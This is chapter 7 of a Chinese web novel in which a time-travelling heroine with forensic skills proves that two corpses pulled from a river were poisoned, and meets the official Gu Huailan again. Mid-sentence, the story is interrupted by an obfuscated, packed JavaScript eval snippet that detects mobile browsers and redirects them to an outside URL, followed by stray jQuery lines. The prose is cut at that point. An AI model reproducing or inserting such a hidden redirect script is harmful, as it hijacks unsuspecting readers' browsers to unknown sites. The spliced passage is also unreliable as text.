7. 第 7 章

作品:《归途

    眼下待在这荒郊野岭,即使是再相信八公的为人,陈挽也不敢更不能透露自己的所住地以及自己的真是身份,最重要的是,眼下她也找不到回家的路了。


    愁眉之际,八公替陈挽出了一个注意,“姑娘若是不嫌弃,就跟着我们去赚钱,那些官府人识路,说不定能带你寻到回家的路。”


    “赚钱。”陈挽脑海中浮现出自己拿着碗上门乞讨吧!这要是被陈家人发现了,岂不是天塌了,自己这算是放在油锅里煎熬了。


    “姑娘别多想,不是乞讨。”八公身旁的小伙子道。


    陈挽不好意思笑笑,以表歉意,“对不起,是我多虑了。”


    跟着来到郊外,陈挽知晓了他们所说的赚钱便是替官员捞尸体。


    此刻从河边捞起了两具尸体,这对于陈挽更是专业对口,起初八公以为她不懂,谁料陈挽反客为主,以自己的专业知识对八公进行了指导。


    “八公,以后打捞尸体时需要用布料捂住口鼻,这倒不是嫌弃,而是为了你身体着想,且在这搬运过程更要小心以免造成二次伤害,等我回老家,就给你们准备些面罩和手套。”


    陈挽握着打捞网的一端,和八公一同使力,“若是遇到了腐败尸体,要用布料包裹打捞,以免尸体四肢脱落。”细细叮嘱琢磨。


    同她打捞的人纷纷竖起耳朵仔细听来,这话轻飘飘从一个女孩口中说来,倒是有些诧异。


    “姑娘,你懂验尸?”


    “略懂,不如他们专业。”陈挽道,那仵作过来了,身旁的人在记录着尸体情况,几人走远了一旁等着领银子。


    就是可惜没有现代的科技技术,不能验DNA,这给查案进度带来了困难。


    被捞上来的尸体有两具,一男一女。


    她看到那仵作只是随意扒拉两下,不见探那手指缝是否有水草泥沙以确定尸体是否溺死的初步判断,出于本能意识,她上前就要探那尸体情况,发银子的官员看到,厉声斥责,“你干什么?”


    陈挽刚蹲下身子,下一秒就被人一把推开。


    手掌心擦过湿漉漉的土地,那刚愈合的伤口又被裂开,尾椎即刻传来刺痛感,“我草,我靠。”疼痛让她下意识爆了一句粗口,这句粗口囊括了这些天待在这里的所有委屈。


    确在抬头一瞬间,愣住再原地。


    脖颈上架着好几把刀剑,她乖乖闭嘴,怒气腾腾的脸色即刻消散了下来,其中一人道,“大人,这人鬼鬼祟祟,口中的说的话不是我们中原的,我怀疑是别国人,搞不好是奸细,杀了一了百了。”


    陈挽呼吸屏住,直接被扣了一顶大帽子,一波未平一波又起,她深刻怀疑自己是不是犯了太岁,别人穿越吃香喝辣,她倒好,倒霉事一茬接着一茬,性命一次跟着一次堪忧。


    此时,眼前侍卫让出了一条路,他们口中的大人走了出来,身穿红色官服,向上望去,一张熟悉到不能在熟悉的脸庞。


    前几日刚刚见过,俊朗分明的五官,神情淡漠。


    是顾淮澜,那日在寺庙见到的男子,本能的低下头。


    谁料他蹲下,唇角上扬,“又见面了,陈挽。”


    陈府。


    此刻也是一团乱麻,天翻地覆,风起云涌,崔氏更是封锁了消息。


    “还没有找到三姑娘吗?”坐立不安,崔氏昨夜一夜未眠。


    莫妈妈担忧道,“并未。”身后的丫鬟将汤药端上来,“夫人,你昨晚没有休息好,我特让人煮了凝静安神的汤药而来,三姑娘定能安然无恙的。”


    崔氏饶是再好的修养,也被这件事气得一个晚上了。


    头越发疼裂,捂着额头,她心力交瘁,“安然无恙?这孩子近日性情大变,这是想毁了我陈家,我怎可安下心来,不如一了百了,我先一步去了,便不用处理这糟心事了。”


    “夫人,这话可说不得,夫人膝下还有另外三位姑娘呢,她们可不能没了夫人你呀!那三姑娘还小,待平安回府,好好教导一番,她会理解夫人你的良苦用心。”


    崔氏被她劝了几句,心神安定些许,捏着勺子舀那汤药,勉强喝了几口。


    眼下陈府一面锁闭消息,一面加快人手去寻陈嘉熙。


    “母亲,那三妹妹还未找到吗?”陈嘉韫神情担忧,眼眶泛红,昨晚也是一夜未眠,憔悴爬上了脸色。


    看着二妹这性子,是非不分,倒还关心起那坏了规矩的三妹,陈嘉清冷哼怒怼,不禁斥责她的纵容之心,“还想着伤心,她偷跑出府一夜未归,我之前就提醒她了,母亲,三妹妹莫不是中邪了,近来屡次破坏规矩,如此纵容下去,终有一日会害了陈府。”


    “二姐姐,你还为三姐姐着想,她何时想过我们,若是被人发现干了什么苟且之事,那我便不活了。”陈嘉瑶从听说此事就寻死哭闹,此刻早就哭哑了声音,今早上请了郎中相看。


    “行了,一切待找到人再说。”崔氏怒吼,如今正是商讨她婚事的关键时期,她真想两巴掌朝她甩去。


    什么教养统统不要,就为了让这大逆不道的女儿回头。


    失踪两天两夜,这会子陈挽被带到了大理寺。


    顾淮澜派人给自己准备了吃食。


    “无端端的,你一个女子偷跑出来,所为何事?”他坐在对面,看着陈挽吃得狼吞虎咽,一点规矩都不曾放在心上。


    也是,若是把规矩放在心上,她也不至于偷跑出府了。


    “去寺庙烧香拜佛。”陈挽不打算圆谎,实话实说,忽而停下手中夹菜的动作,“你看出我女扮男装也就罢了,为何笃定我是住在府上。”


    “平民百姓可没有你这般气质,加之你身上这洒脱气度以及对金银珠宝不屑一顾的模样自然是出身世家。”


    “那大人可是看错了,我对金银珠宝是爱不释手,不然也不会跟着来赚这打捞尸体的银子。”


    顾淮澜哼声,继续拆除她,“烧香拜佛选择半夜三更,你蒙骗人的手段未免太过于简单。”


    “爱信不信。”她道。


    顾淮澜听着她这大逆不道不合规矩的话语,也怀疑自己的眼色,当真是出身世家?“你把柄还拿捏在我手上,既然如此,我好心让人送你回去,家住何处?”


    陈挽沉默,陈府的住址自然是不能透露的,说不定借此机会继续去寻那寺庙,“我从隔壁邻县来的,逃荒而来。”


    顾淮澜双眼微眯,怀疑的目光看过去,“有那么细皮嫩肉的难民。”


    陈挽回嘴,“世上之事,无所不有。”


    顾淮澜哦了一声,挑眉故作询问,“我可是听说,我前几天被劫匪抓住了。”牢牢盯着她的神色变化,果不其然,捕捉到她眼底划过的诧异。


    不是吧,他竟然知道此事,看来是那匪徒去核实时落入了顾淮澜耳中。


    陈挽正欲如何圆谎,此刻一人进来,打断了两人的话语,“大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106977|163920||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人,崔仵作已经验尸完毕,那对男女确实是溺死的,这是验尸的结果,记录在册。”


    陈挽听闻,眉头忍不住一皱,她将尸体打捞而起时有细细看过,手指甲干净无泥沙水草,更是知晓这地方便是大理寺,难不成基本的判断也能出错。


    将验尸结果交由顾淮澜,那人便离开了,陈挽继续低头吃东西,心不在焉。


    顾淮澜又道,“我让人送你平安回府,不会透露关于你的消息,已经两天一夜过去了,你父母定会让人寻你的下落,你一介女流之辈,若是被人知晓这事,名声尽毁。”


    “那谢谢了。”见他盯着这验尸报告久久不语,陈挽又小心翼翼询问一句,“你是不是也觉得这两人不是溺死的?”


    男人抬眼,眼底一闪而过惊诧,“你有何见解?”语气慵懒,倒也只是逗趣,并未放在心上。


    “我想看看尸体,方便的话,我去验尸。”


    “你,一个女子,你学这个东西?”他语气带有惊讶,却无一丝鄙夷和不屑。


    “如果我验尸结果准确,我的手帕能不能还我。”陈挽大着胆子交易,毕竟是京城的官员,哪天被爆出来,自己难免遭受议论。


    他毫不犹豫,“好。”


    说完,陈挽撂下筷子,“我吃饱了,现在就去验尸吧!”


    到底是自己所熟络的专业,虽工具大不一样,她倒也使得得心应手,虽没有手套,但眼下也顾不得太多。


    不过好在等会有醋和酒进行洗手消毒,又焚烧了苍术和皂角等草药以掩盖气味。


    彼时天快蒙蒙亮,陈挽看着这两具尸体。


    指尖无泥土水草,无挣扎痕迹,便知这是死后被拋入河水之中。


    将验尸结果告知顾淮澜,那崔仵作又被要求重新验了一遍,结果自然是和陈挽一模一样。


    两具尸体死于中毒,其中一具尸体全身上下有两处红肿,如同被拳头打伤;而另一具尸体上半身有大面积青黑色,脚趾甲泛黑,毛孔粗大。


    “死者可能是吃了植物果实亦或是金石药物中毒而亡的,遂而被人拋入河内,试图伪装成溺水而亡。”陈挽一边将手放入盆内以醋洗手消毒,一边道出自己的验尸结果。


    崔仵作看向陈挽,懊恼低头。


    陈挽默不作声了,以多年的职场经验,知晓这是新上任的大理寺少卿,底下人不服,想使绊子。


    “但你也不必辞退了那仵作吧!”离开之际,陈挽忍不住道。


    “这已经是原则性问题了,他身为仵作,不为死者发声,而是想着权力斗争,便不配做一名仵作。”顾淮澜语气笃定。


    陈挽点头,望向外面已经天亮了,她该回陈府了,此次偷跑出来,不知回去会面对什么责罚。


    “你竟然说自己是难民,不如我任你为大理寺仵作,你当如何?”


    当真是极好,倘若自己不是陈家三姑娘,依着这能力,在大理寺做仵作苟着,倒也不为失一个好去处,可偏偏不能。


    “不好,顾大人还是另寻他人。”


    陈挽没让他送,而是朝他要了一个地图,自己走回了陈府,失踪了一天一夜,在陈府门口就被小厮发现紧急送往了崔氏院中。


    ……


    “当真看见她进入了陈府。”


    “是的,大人。”


    顾淮澜揣摩着手中的扳指,嘴角忍不住扬起。


    陈家三姑娘,陈嘉熙,陈挽。